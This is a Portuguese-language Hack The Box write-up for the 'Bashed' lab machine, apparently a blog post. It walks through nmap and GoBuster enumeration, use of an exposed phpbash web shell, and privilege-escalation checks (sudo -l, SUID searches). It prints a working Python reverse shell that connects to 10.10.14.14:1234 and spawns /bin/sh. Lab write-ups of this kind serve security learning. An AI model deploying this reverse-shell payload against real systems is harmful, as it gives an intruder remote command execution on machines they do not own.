Bashed - HTB Write Up - Arrexel PHP Exploit


Arrexel PHP Exploit

Enumeração Geral 

nmap -Pn -sV -p- --open [IP]


Scan HTTP

nmap -Pn -p 80 -A [IP]


Ao acessar a porta 80/HTTP encontramos a aplicação Arrexel PHP que é uma Web Shell para desenvolvedores. 

Enumeração de diretórios 

Usando a ferramenta GoBuster encontrei o diretório /dev/ onde os scripts para executar a web shell estão armazenados phpbash.php e phpbash.min.php

Resultado do GoBUster



Acesso a web-shell 


Executando shell-reversa 

O script disponibilizado pelo Pentester Monkey para a shell-reversa pode ser acessado neste LINK

No diretório da máquina-atacante habilitei o web server com python e na máquina-alvo fiz o download do script com o wget dentro do diretório /tmp onde o usuário www-data tem permissão de escrita.


Em seguida executei o script da shell-reversa. 


E a conexão foi estabelecida. 



A próxima etapa é fazer a escalação de privilégio. 

Enumeração Interna 

sudo -l 


O resultado aqui é interessante pois o usuário www-data pode executar qualquer comando no contexto do usuário scriptmanager. 

env


Na fase de escalação de privilégio é necessário identificar a versão do Kernel e do S.O. No entanto, a exploração pode resultar em crash da máquina e instabilidade e, portanto, é recomendável procurar formas alternativas de elevar o privilégio sem usar a exploração do kernel ou S.O antes de avaliar se é possível usar outras técnicas. 

uname -a 


cat /proc/version


cat /etc/issue 


Busca por binários com o SUID habilitado 

find / -perm -u=s -type f 2>/dev/null



find / -perm -g=s -type f 2>/dev/null


No diretório raiz é possível ver o diretório scripts que pertence ao usuário scriptmanager. Dentro desse diretório existem dois arquivos test.py e test.txt


De forma direta, o usuário www-data não tem permissão para acessar os arquivos. 



Como executar comando com o SUDO no contexto de outro usuário? 

sudo -i -u [nome-do-usuário]


Acesso ao diretório scripts e acesso ao arquivo test.py


O owner do script test.py é o usuário scriptmanager e o owner do arquivo test.txt é root. O script test.py abre e escreve no arquivo test.txt. 

Aqui a dica é: se o usuário tem permissão de escrever em um arquivo onde o owner é o root, um script com uma shell-reversa executado pelo scriptmanager pode abrir uma conexão privilegiada. 

O script com a shell-reversa em python está disponível no PentestMonkey e criei o script na máquina-atacante e fiz o upload para a máquina-alvo. 

Script de Shell-Reversa em Python 

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.14",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Ao executar o script na máquina-alvo a conexão é estabelecida no contexto do usuário root. 




Comentários

Postagens mais visitadas